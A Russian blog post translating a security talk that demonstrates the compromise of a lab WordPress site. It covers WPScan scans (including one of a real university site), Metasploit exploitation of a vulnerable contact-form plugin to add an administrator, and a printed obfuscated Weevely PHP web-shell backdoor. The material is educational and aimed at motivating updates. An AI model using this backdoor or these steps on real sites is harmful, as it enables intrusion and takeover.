Презентация взлома сайта на WordPress

Доброго времени суток, уважаемые читатели блога Мои тараканы!

Хакерская атака

Когда готовил первую статью в рубрику о безопасности попал на обзор презентации по взлому WordPress.  Саму статью написал Марк Монтаг, программист из Мичиганского университета, а её обзор я нашёл на сайте Хакер. Обзор меня заинтересовал и я решил посмотреть презентацию полностью. Но вот беда — она на английском (в школе я учил Deutsch). Эх, чего не сделаешь из любопытства — я не пожалел денег и заказал перевод. Вот хочу теперь поделиться им с вами. Надеюсь вам понравится.

На сайте оригинала презентация представлена в виде слайдов и в виде статьи. Я не стал заморачиваться — выложил только статью (просто не удивляйтесь когда в тексте встретите упоминания о слайдах).

Марк Монтаг (Mark Montague)

mark@catseye.org

Многие слайды снабжены примечаниями, содержащими дополнительный материал:

  • Для перехода между слайдами и оглавлением презентации нажмите «t». Примечания будут отображаться в режиме структуры. Либо
  • Чтобы просмотреть примечания во всплывающем окне, нажмите «n».

Посмотреть презентацию можно по адресу:
http://www-personal.umich.edu/~markmont/awp/

Исходный файл с текстом презентации можно загрузить по ссылке:
http://www-personal.umich.edu/~markmont/awp.zip

Кто я такой

  • Я системный администратор, да еще и программист. Занимаюсь разработкой веб приложений и технической поддержкой «Программы исследований компьютеров с высокой производительностью» в Мичиганском университете.
  • На предыдущей работе я заведовал отделом главной центральной веб-инфраструктуры Мичиганского университета в течение 5 лет, в том числе предоставление хостинга для сайтов WordPress на базе университета.
  • 19 лет занимался обеспечением безопасности ПК от угроз несанкционированного доступа к данным.
  • 11 лет занимался обеспечением безопасности веб-приложений, вопросами, связанными с различными нарушениями нормального функционирования системы безопасности / взломами, в том числе и вопросами по безопасности WordPress.

Кем я не являюсь

  • Специалистом по безопасности (есть более осведомлённые в вопросах интернет безопасности люди, чем я).
  • Хакером или злоумышленником (у них гораздо больше возможностей, чем у меня, т.к. они располагают целым «набором инструментов взломщика»).

Эта презентация могла бы быть гораздо более пугающей, если бы ее делал специалист по компьютерной безопасности, либо хакер.

Данная презентация является обновленной, правда, и значительно сокращенной версией presentation I gave for WordPress Ann Arbor in January 2014. Для более подробной информации, особенно о том, какие типы злоумышленников встречаются в сети, что их мотивирует, и как защитить ваш сайт на WordPress смотрите оригинальную презентацию.

Как специалист по безопасности, так и злоумышленник располагают гораздо большим свободным временем, чем специалист широкого профиля, такой как я.

У компьютерных пиратов есть возможность пользоваться вредоносными программными средствами, в том числе целым арсеналом высокотехнологичных инструментальных средств разработки прикладных программ для взлома систем безопасности вебсайтов, доступ к форумам черных хакеров и т.д. Пакеты разработчика и комплекты для взлома систем безопасности (эксплойты) свободно продают и покупают за криптовалюту Bitcoin или доллары на сайтах черных рынков.

В настоящей презентации речь пойдет об использовании только легальных инструментов разработчика, т.к. я предпочитаю не пользоваться не вызывающим доверия ПО и, тем более, не хотел бы закончить свою карьеру в качестве нарушителя закона.

В своей предыдущей презентации я рассказывал об уязвимости систем безопасности к внедрению PHP кода при работе с дополнительным модулем W3 Total Cache и о запуске командной оболочки (командного процессора) на веб сервере. В новой презентации речь пойдет об уязвимости систем безопасности к внедрению запроса SQL во время добавления нового администратора на сайт WordPress через базу данных сайта.

Не становитесь хакером

Цель данной презентации – показать насколько легко получить контроль над сайтом, работающим под управлением WordPress, если его своевременно не обновлять. Надеюсь этим мотивировать вас во время обновлять базы данных сайта на WordPress и следить за его безопасностью.

Все показанное в презентации является основами безопасности, и доступно каждому, у кого есть выход в Интернет, также все представленное в показе легко найти с помощью обычного веб поиска. В презентации не представлены сложные в применении передовые технологии или технические приемы, понятные только специалисту.

Однако, самовольное использование материалов презентации в отношении сайтов или ПК, которые не являются вашей собственностью, противозаконно и влечет за собой соответствующие наказание. Не следует этого делать.

Цель

http://myblog2.catseye.org/

http://myblog2.catseye.org/

Данный сайт на WordPress работает на виртуальной машине моего лэптопа и не имеет публичного доступа.

  • WordPress 4.0 (последняя версия на период публикации презентации).
  • Плагин: Custom Contact Forms версия 5.1.0.3  на одну версию старее чем последний пресс-релиз.«Плагин для WordPress с возможностью настройки под индивидуальные потребности пользователя и с интуитивно понятной формой обратной связи»

Загружен более 641,000 раз. Оценка 3.8 по 5 бальной шкале.

Примечание! У версии 5.1.0.3. есть проблемы с безопасностью! Версия, используемая нами 5.1.0.4., выпущена 4 августа 2014 г.  

  • Работает на сервере Ubuntu 14.04.1 LTS 64 бит (последняя версия от LTS), полностью укомплектован и обновлен.

Все настроено в соответствии с инструкциями, представленными на сайтах: wordpress.org и ubuntu.com. Единственное дополнение, которое я сделал на свое усмотрение – включил безопасный командный процессор (SSH), чтобы можно было управлять программой через командную строку.

Используем Ubuntu Server LTS, поскольку он давно уже себя положительно зарекомендовал и пользуется наибольшей популярностью среди пользователей, работающих со своими серверами.

Атакующий

badguy2.catseye.org

Взломщик сайта

Атакующая система работает на второй виртуальной машине, доступной на моем лэптопе, и также как и цель взлома ее нет в общем доступе.

Мы используем последнюю версию Kali Linux 1.0.9, работающую под управлением Debian 7 «Wheezy».

Kali Linux, http://www.kali.org/

  • Легальный инструмент, который позволяет компаниям проверить свои сети на наличие проблем с безопасностью.
  • Точней это комплект из более, чем 300 средств обеспечения защиты, включая инструменты для проверки надежности систем безопасности, а также аналитические инструменты для восстановления после хакареских атак.
  • Это полностью разработанная Linux система, которой можно спокойно доверять. Запускаются дистрибутивы как с CD диска, так и устанавливаются на компьютер.
  • Мы будем использовать продукт Linux, потому что это наиболее быстрый и простой способ запустить имитацию атаки: скачал, запустил, атакуй.

На самом деле нам понадобятся только три из всего разнообразия предлагаемых и разрабатываемых Kali Linux инструментов:

  • WPScan: Осуществляет поиск на наличие проблем с безопасностью у сайтов на WordPress и взламывает при помощи грубой силы (brute-force) пароли пользователей WordPress.
  • Metasploit: Высокотехнологичный набор инструментов по проверке безопасности, снабженный веб интерфейсом, через который можно легко запускать атаки, даже не имея глубоких технических познаний в этой области.
  • Weevely: «PHP вебшел» – вредоносный скрипт, который при загрузки его на сайт, открывает черный ход ко всем данным сайта и позволяет в результате получить полный контроль над веб сервером.

Вместо дистрибутива Kali Linux мы могли бы просто по отдельности скачать и установить WPScan, Metasploit, и Weevely. Это потребовало бы лишь чуточку больше технических знаний, чем при использовании готового пакета Kali Linux, плюс немного больше потратить времени на настройку программ и радоваться результату проделанных трудов. Но выберем менее трудоемкий вариант.

WPScan

Чтобы познакомиться с работой WPScan, запустите его с помощью опции справки --help:

root@badguy2: ~# wpscan --help
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

Help :

Some values are settable in a config file, see the example.conf.json

--update                            Update to the database to the latest version.
--url       | -u <target url>       The WordPress URL/domain to scan.
--force     | -f                    Forces WPScan to not check if the remote site is running WordPress.
--enumerate | -e [option(s)]        Enumeration.
  option :
    u        usernames from id 1 to 10
    u[10-20] usernames from id 10 to 20 (you must write [] chars)
    p        plugins
    vp       only vulnerable plugins
    ap       all plugins (can take a long time)
    tt       timthumbs
    t        themes
    vt       only vulnerable themes
    at       all themes (can take a long time)
  Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins
  If no option is supplied, the default is "vt,tt,u,vp"

--exclude-content-based "<regexp or string>"
                                    Used with the enumeration option, will exclude all occurrences based on the regexp or string supplied.
                                    You do not need to provide the regexp delimiters, but you must write the quotes (simple or double).
--config-file  | -c <config file>   Use the specified config file, see the example.conf.json.
--user-agent   | -a <User-Agent>    Use the specified User-Agent.
--cookie <String>                   String to read cookies from.
--random-agent | -r                 Use a random User-Agent.
--follow-redirection                If the target url has a redirection, it will be followed without asking if you wanted to do so or not
--batch                             Never ask for user input, use the default behaviour.
--no-color                          Do not use colors in the output.
--wp-content-dir <wp content dir>   WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it.
                                    Subdirectories are allowed.
--wp-plugins-dir <wp plugins dir>   Same thing than --wp-content-dir but for the plugins directory.
                                    If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed
--proxy <[protocol://]host:port>    Supply a proxy. HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported.
                                    If no protocol is given (format host:port), HTTP will be used.
--proxy-auth <username:password>    Supply the proxy login credentials.
--basic-auth <username:password>    Set the HTTP Basic authentication.
--wordlist | -w <wordlist>          Supply a wordlist for the password bruter and do the brute.
--username | -U <username>          Only brute force the supplied username.
--threads  | -t <number of threads> The number of threads to use when multi-threading requests.
--cache-ttl       <cache-ttl>       Typhoeus cache TTL.
--request-timeout <request-timeout> Request Timeout.
--connect-timeout <connect-timeout> Connect Timeout.
--max-threads     <max-threads>     Maximum Threads.
--help     | -h                     This help screen.
--verbose  | -v                     Verbose output.

Examples :

-Further help ...
ruby ./wpscan.rb --help

-Do 'non-intrusive' checks ...
ruby ./wpscan.rb --url www.example.com

-Do wordlist password brute force on enumerated users using 50 threads ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

-Do wordlist password brute force on the 'admin' username only ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

-Enumerate installed plugins ...
ruby ./wpscan.rb --url www.example.com --enumerate p

-Enumerate installed themes ...
ruby ./wpscan.rb --url www.example.com --enumerate t

-Enumerate users ...
ruby ./wpscan.rb --url www.example.com --enumerate u

-Enumerate installed timthumbs ...
ruby ./wpscan.rb --url www.example.com --enumerate tt

-Use a HTTP proxy ...
ruby ./wpscan.rb --url www.example.com --proxy 127.0.0.1:8118

-Use a SOCKS5 proxy ... (cURL >= v7.21.7 needed)
ruby ./wpscan.rb --url www.example.com --proxy socks5://127.0.0.1:9000

-Use custom content directory ...
ruby ./wpscan.rb -u www.example.com --wp-content-dir custom-content

-Use custom plugins directory ...
ruby ./wpscan.rb -u www.example.com --wp-plugins-dir wp-content/custom-plugins

-Update the DB ...
ruby ./wpscan.rb --update

-Debug output ...
ruby ./wpscan.rb --url www.example.com --debug-output 2>debug.log

See README for further information.
root@badguy2: ~#

WPScan

Взгляните на сайт:  http://arc.research.umich.edu/

root@badguy2: ~# wpscan --url arc.research.umich.edu
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://arc.research.umich.edu/
[+] Started: Thu Oct  2 21:32:30 2014

[+] robots.txt available under: 'http://arc.research.umich.edu/robots.txt'
[!] The WordPress 'http://arc.research.umich.edu/readme.html' file exists
[+] Interesting header: LINK: <http://arc.research.umich.edu/?p=12>; rel=shortlink
[+] Interesting header: SERVER: Apache
[+] XML-RPC Interface available under: http://arc.research.umich.edu/xmlrpc.php
[!] Upload directory has directory listing enabled: http://arc.research.umich.edu/wp-content/uploads/

[+] WordPress version 3.8.1 identified from meta generator
[!] 9 vulnerabilities identified from the version number

[!] Title: WordPress 1.0 - 3.8.1 administrator exploitable blind SQLi
    Reference: https://wpvulndb.com/vulnerabilities/5963
    Reference: https://security.dxw.com/advisories/sqli-in-wordpress-3-6-1/

[!] Title: WordPress 3.7.1 & 3.8.1 Potential Authentication Cookie Forgery
    Reference: https://wpvulndb.com/vulnerabilities/5964
    Reference: https://labs.mwrinfosecurity.com/blog/2014/04/11/wordpress-auth-cookie-forgery/
    Reference: https://github.com/WordPress/WordPress/commit/78a915e0e5927cf413aa6c2cef2fca3dc587f8be
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0166
    Reference: http://osvdb.org/105620
[i] Fixed in: 3.8.2

[!] Title: WordPress 3.7.1 & 3.8.1 Privilege escalation: contributors publishing posts
    Reference: https://wpvulndb.com/vulnerabilities/5965
    Reference: https://github.com/wpscanteam/wpscan/wiki/CVE-2014-0165
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0165
    Reference: http://osvdb.org/105630
[i] Fixed in: 3.8.2

[!] Title: WordPress Plupload Unspecified XSS
    Reference: https://wpvulndb.com/vulnerabilities/5966
    Reference: https://secunia.com/advisories/57769
    Reference: http://osvdb.org/105622
[i] Fixed in: 3.8.2

[!] Title: WordPress 3.5 - 3.7.1 XML-RPC DoS
    Reference: https://wpvulndb.com/vulnerabilities/7526
    Reference: http://wordpress.org/news/2014/08/wordpress-3-9-2/
    Reference: http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/
    Reference: http://www.breaksec.com/?p=6362
    Reference: http://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
[i] Fixed in: 3.9.2

[!] Title: WordPress 2.0.3 - 3.9.1 (except 3.7.4 / 3.8.4) CSRF Token Brute Forcing
    Reference: https://wpvulndb.com/vulnerabilities/7528
    Reference: https://core.trac.wordpress.org/changeset/29384
    Reference: https://core.trac.wordpress.org/changeset/29408
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5204
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5205
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.0 - 3.9.1 Authenticated Cross-Site Scripting (XSS) in Multisite
    Reference: https://wpvulndb.com/vulnerabilities/7529
    Reference: https://core.trac.wordpress.org/changeset/29398
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5240
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.6 - 3.9.1 XXE in GetID3 Library
    Reference: https://wpvulndb.com/vulnerabilities/7530
    Reference: https://github.com/JamesHeinrich/getID3/commit/dc8549079a24bb0619b6124ef2df767704f8d0bc
    Reference: http://getid3.sourceforge.net/
    Reference: http://wordpress.org/news/2014/08/wordpress-3-9-2/
    Reference: http://lab.onsec.ru/2014/09/wordpress-392-xxe-through-media-upload.html
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2053
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.4.2 - 3.9.2 Does Not Invalidate Sessions Upon Logout
    Reference: https://wpvulndb.com/vulnerabilities/7531
    Reference: http://whiteoaksecurity.com/blog/2012/12/17/cve-2012-5868-wordpress-342-sessions-not-terminated-upon-explicit-user-logout
    Reference: http://blog.spiderlabs.com/2014/09/leveraging-lfi-to-get-full-compromise-on-wordpress-sites.html
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-5868
[i] Fixed in: 4.0

[+] WordPress theme in use: orci - v0.1.0

[+] Name: orci - v0.1.0
 |  Location: http://arc.research.umich.edu/wp-content/themes/orci/
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/themes/orci/
 |  Style URL: http://arc.research.umich.edu/wp-content/themes/orci/style.css
 |  Theme Name: ORCI
 |  Theme URI: http://orci.research.umich.edu/
 |  Description: Child theme for the Twenty Eleven theme
 |  Author: John Pariseau
 |  Author URI: http://example.com/about/

[+] Detected parent theme: twentyeleven - v1.7

[+] Name: twentyeleven - v1.7
 |  Location: http://arc.research.umich.edu/wp-content/themes/twentyeleven/
 |  Readme: http://arc.research.umich.edu/wp-content/themes/twentyeleven/readme.txt
 |  Style URL: http://arc.research.umich.edu/wp-content/themes/twentyeleven/style.css
 |  Theme Name: Twenty Eleven
 |  Theme URI: http://wordpress.org/themes/twentyeleven
 |  Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a c...
 |  Author: the WordPress team
 |  Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 8 plugins found:

[+] Name: contact-form-7 - v3.9.3
 |  Location: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/

[!] Title: Contact Form 7 & Old WP Versions - Crafted File Extension Upload Remote Code Execution
    Reference: https://wpvulndb.com/vulnerabilities/7021
    Reference: http://packetstormsecurity.com/files/125018/
    Reference: http://seclists.org/fulldisclosure/2014/Feb/0
    Reference: http://osvdb.org/102776

[+] Name: jquery-collapse-o-matic - v1.5.7
 |  Location: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/

[+] Name: jquery-colorbox - v4.6
 |  Location: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/

[+] Name: mailchimp - v1.4.1
 |  Location: http://arc.research.umich.edu/wp-content/plugins/mailchimp/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/mailchimp/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/mailchimp/

[+] Name: page-list - v4.2
 |  Location: http://arc.research.umich.edu/wp-content/plugins/page-list/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/page-list/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/page-list/

[+] Name: social - v2.11
 |  Location: http://arc.research.umich.edu/wp-content/plugins/social/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/social/README.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/social/

[+] Name: wp-paginate - v1.2.4
 |  Location: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/

[+] Name: youtube-shortcode - v1.8.5
 |  Location: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/
[+] Finished: Thu Oct  2 21:34:06 2014
[+] Memory used: 5.469 MB
[+] Elapsed time: 00:01:36
root@badguy2: ~#

Это сайт на платформе WordPress, с которым мне часто приходится иметь дело по работе.

WPScan определил, что сервер работает на кроссплатформенным ПО Apache, но не смог выяснить, какой он версии.

Несмотря на правило №1, соблюдение которого просто необходимо для должного обеспечения безопасности, — это регулярно обновлять всё имеющееся в арсенале владельца сайта ПО, настоящий сайт все еще работает на WordPress версии 3.8.1. Это очень плохо, к сожалению, подобное поведение не редкость.

WPScan обнаружил девять уязвимых мест в системе безопасности. Большая часть из них, скорее всего, будут не особо полезными для случайного злоумышленника, но некоторые все же могут дать ему возможность взломать ваш сайт. Более подробно об обнаруженных слабых местах читайте под каждой ссылкой в результатах сканирования WPScan.

WPScan обнаружил одну тему («orci», которая в соответствии с полученными результатами производная от темы двадцать одиннадцать – Twenty Eleven) и 8 дополнительных модулей. Вероятных таких уязвимых мест гораздо больше, если проверить систему с помощью сканирования WPScan в режиме полного поиска плагинов («wpscan —enumerate ap»).

Имейте в виду, что конфигурация веб-сервера, позволяющей размещение справочного или рекламного контента из различных источников – потенциально полезная для злоумышленника брешь в системе безопасности.

Ели бы мы решили взломать этот сайт, то WPScan предоставил нам для этого множество возможных потенциальных лазеек и обходных путей.

WPScan

Теперь нашей целью (мишенью) будет:  http://myblog2.catseye.org/

Script started on Thu 02 Oct 2014 09:49:02 PM EDT
root@badguy2: ~# wpscan --url myblog2.catseye.org
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://myblog2.catseye.org/
[+] Started: Thu Oct  2 21:49:18 2014

[!] The WordPress 'http://myblog2.catseye.org/readme.html' file exists
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.4
[+] XML-RPC Interface available under: http://myblog2.catseye.org/xmlrpc.php

[+] WordPress version 4.0 identified from meta generator

[+] WordPress theme in use: twentyfourteen - v1.2

[+] Name: twentyfourteen - v1.2
 |  Location: http://myblog2.catseye.org/wp-content/themes/twentyfourteen/
 |  Style URL: http://myblog2.catseye.org/wp-content/themes/twentyfourteen/style.css
 |  Theme Name: Twenty Fourteen
 |  Theme URI: http://wordpress.org/themes/twentyfourteen
 |  Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern des...
 |  Author: the WordPress team
 |  Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 1 plugins found:

[+] Name: custom-contact-forms - v5.1.0.3
 |  Location: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/
 |  Readme: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/readme.txt
[!] Directory listing is enabled: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/

[!] Title: Custom Contact Forms <= 5.0.0.1 - Cross Site Scripting
    Reference: https://wpvulndb.com/vulnerabilities/6296
    Reference: http://packetstormsecurity.com/files/112616/

[!] Title: Custom Contact Forms <= 5.1.0.3 Database Import/Export
    Reference: https://wpvulndb.com/vulnerabilities/7542
    Reference: http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html
    Reference: http://www.rapid7.com/db/modules/auxiliary/admin/http/wp_custom_contact_forms
[i] Fixed in: 5.1.0.4
[+] Finished: Thu Oct  2 21:49:21 2014
[+] Memory used: 2.191 MB
[+] Elapsed time: 00:00:03
root@badguy2: ~# exit

WPScan указал не только какое серверное программное обеспечение используется, но и версии http-сервера Apache и PHP.

WPScan обнаружил плагин Custom Contacts Form (формы обратной связи) и корректно заметил уязвимость в базе данных у данного плагина.

Metasploit

http://www.metasploit.com/

Metasploit

Metasploit доступен в четырех версиях:

  • Metasploit Framework (бесплатная программа, с открытым исходным кодом, управление только через командную строку (консоль)).
  • Metasploit Community (бесплатное ПО, снабжено веб-интерфейсом)
  • Metasploit Express, Metasploit Pro (коммерческое ПО)

Чтобы запустить веб-интерфейс Metasploit под управлением Kali Linux, введите следующие команды:

service postgresql start
service metasploit start

Подождите несколько минут, пока запустится Metasploit и создайте базу данных, затем перейдите на сайт: http://badguy2.catseye.org:3790/.

Все что показано в данной презентации можно выполнить с любым из указанных выше вариантов ПО Metasploit. В настоящем демо показе мы используем Metasploit Community.

Основные этапы:

  1. Создайте личный кабинет в Metasploit.
  2. Получите и введите лицензионный ключ (для версий Community, Express, Pro)
  3. Создайте проект.
  4. Выберите и запустите эксплойт для вторжения на сайт-мишень нашей атаки.
  5. Можете делать все, что захотите с сайтом-жертвой атаки.

Шаги 1 из 2 уже были выполнены мной ранее, перейдем непосредственно к этапу 3.

Проект как хранилище, в котором всегда можно найти данные о тестируемых системах и результаты проведенных испытаний.

Веб-интерфейс Metasploit – главная страница:

Мetasploit

Эта страница, которую видит пользователь, после того как он создал профиль пользователя в Metasploit, запросил и ввел ключ продукта, а затем вошел в личный кабинет.

Щелкните по кнопке «Создать новый проект».

Введите название проекта и либо сети, либо IP адерса, которые собираетесь тестировать, а затем щелкните по вкладке Создать проект.

Мetasploit

Чтобы ускорить процесс, поскольку мы будем работать только с одной целью, достаточно указать IP адрес. Указывать сетевой диапазон (диапазон номеров сети) не обязательно.

Страница просмотра проекта:

Мetasploit

По правилам мы должны бы вначале выполнить сканирование системы с помощью Metasploit, а только затем использовать функцию «Эксплойт» для попытки взлома сайтов, обнаруженных сканером. Но поскольку мы и так знаем по результатам сканирования программой WPScan, что наш сайт-мишень имеет уязвимый плагин, чтобы сэкономить время пропустим этот этап. Теперь просто нажмите вкладку «Модули» в меню вверху страницы и выберите «Поиск». Затем уточните поиск «WordPress».

Мы на самом деле мы не используем и половины имеющихся у Metasploit возможностей.

Список эксплойт модулей от Metasploit для взлома WordPress:

Мetasploit

Выберите команду «Загрузка SQL скрипта для плагина обратной связи сайта на WordPress».

У площадки WordPress также есть множество других уязвимых мест, не представленных здесь. Если мы решим воспользоваться каким-либо приемом, не обозначенный в настоящих материалах, то нам понадобится создать модуль для пробной атаки в Metasploit самостоятельно, можно это сделать, как в ручную, так и с помощью различных инструментов.

Мetasploit

Хотя помимо прочего есть возможность настроить массу дополнительных опций, нам достаточно лишь убедится, что IP адрес целевой системы указан верно, а затем выбрать команду «Запуск модуля». Затем программа Metasploit попытается создать аккаунт нового администратора на целевом WordPress сайте.

Чтобы содержание веб-страницы поместилось в слайде, я отредактировал поля, которые обычно отображаются в секции «Опции модуля».

Работа с эксплойтом:

Мetasploit

На данный момент это все, что касается работы с эксплойтами. Сайт был взломан программой и мы сможем войти в консоль управления в качестве администратора.

Заметьте, что модуль эксплойта вначале определили код таблицы с базой данных сайта и только после этого загрузил SQL-запрос, чтобы создать аккаунт администратора.

Авторизация  злоумышленника

Авторизация на сайте

Наиболее эффективным способом усложнить процесс регистрации на сайте для злоумышленника, будет сделать страницу авторизации доступной только по определенным параметрам. Например, если злоумышленник находится, скажем, во Вьетнаме, а страница входа в систему доступна только для IP адресов, находящихся в городе Анн-Арборе, штата Мичиган, США, тогда злоумышленнику потребуется использовать VPN, попытаться проникнуть на сайт через слабые места в CCF, чтобы украсть информацию об одной из сессий из базы данных сайта, либо попытаться еще раз устроит атаку сайта с помощью SQL-запроса.

Пользователи WordPress

WordPpress Users

Как видите, пользователь, зарегистрированный через эксплойт, спокойно получил все права администратора и может выполнять через консоль сайта те же операции, что и владелец сайта или блога.

Хотя вполне очевидно, что было проникновение на сайт. Если настоящий владелец в это время зайдет в консоль управления, то он увидеть наш аккаунт, удалит его и, возможно, предпримет какие-то меры по защите сайта, например, обновит версию WordPress.

И что же теперь?

  • Мы можем создать или изменить некоторые посты и публикации в надежде, что владелец не заметит этого. Так мы можем вписать в статью SEO ключи или просто вставить ссылки на другие сайты, либо выполнить скрытую загрузку средств кибернападения, чтобы получить нужные данные с компьютеров посетителей сайта. Но, разумеется, стоит ожидать, что владелец сайта заметит наш аккаунт рано или поздно.
  • Мы можем закрыть доступ к сайту его владельцу, изменив все пароли, либо просто испортить сайт, заспамить его и т.д., но владелец, скорее всего, восстановит управление ресурсом через своего хостинг провайдера, а затем восстановит сайт с помощью резервной копии. Владельцы веб-ресурсов часто создают полные копии своих сайтов, регулярно обновляя их и проверяя их сохранность.
  • Либо, мы можем установить скрытую лазейку, которая позволит нам получить полный контроль над сервером – а затем скрыть следы нашего пребывания, удалив созданный нами аккаунт администратора…

Weevely

  • Weevely – это скрытый PHP веб-шелл, снабженный консолью наподобие telnet-протокола. Является основным инструментом для работы с постэксплуатацией веб-приложенияй, который можно использовать, как скрытый путь обхода системы защиты.
  • Weevely состоит из более чем 30 модулей для автоматизации административных и постэксплуатационных задач.
  • Weevely снабжен подробной обучающей инструкцией по применению.
  • Weevely входит в стандартный пакет дистрибутива Kali Linux.
  • Чтобы создать код для входа на сайт, который вы затем сможете загрузить на веб-сервер, чтобы получить скрытый удаленный доступ к серверу, используйте команду weevely generate и добавьте к ней пароль, который вы собираетесь использовать для управления backdoor:
root@badguy2:~# weevely generate L3tM3In
[generate.php] Backdoor file 'weevely.php' created with password 'L3tM3In'
root@badguy2:~#

 

Существуют десятки других PHP шеллов и бэкдор, мы выбрали Weevely, потому что эта программа проста и удобна в использовании, и потому что она входит в пакет дистрибутива Kali Linux.

Вот обфусцированный PHP код (weevely.php), который Weevely сгенерировал для нас для загрузки на сервер:

<?php
$puda="sjMpeyRrPSd0TTNJbic7ZWesNesobyesAnPCcuJGsuJz4nO2V2YWwoYmFzZTesY0X2RlY29kZShwcmVnX";
$qdqy = str_replace("v","","svtvrv_rveplvavce");
$gsqi="JesGM9J2esNvdW50JzskYT0kX0esNesPesT0tJRTestpZihyZXNlesdCgkYSk9esPesSdMMycgJiYgJGMoJGEpPe";
$oydb="3JlcGxhY2esUoYXJyYXkoJy9esbesXeslx3PVxzXSes8nLCcvXHMvJykessIGFycmF5KCcnLCcrJyesksIGespvaW4";
$dscq="oYXJyYXlesfc2xpY2UoJGesEsJGesMoJesGEespLTMespKSkpesKTestlY2hesvIesCc8LycuJGsuJz4esnO30=";
$itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode");
$vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn");
$qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh();
?>

Это активный PHP код, который принимает команду от хакера, проверяет пароль взломщика на совпадение, и, если, с паролем все в порядке, выполняет команду.

Если мы разместим файл weevely.php в корневой директории сайта, тогда мы сможем войти через бэкдор по адресу: http://myblog2.catseye.org/weevely.php (хотя чтобы зайти туда нам также придется использовать Weevely, если попытаться зайти по этому адресу через обычный веб-браузер, то откроется пустая страница).

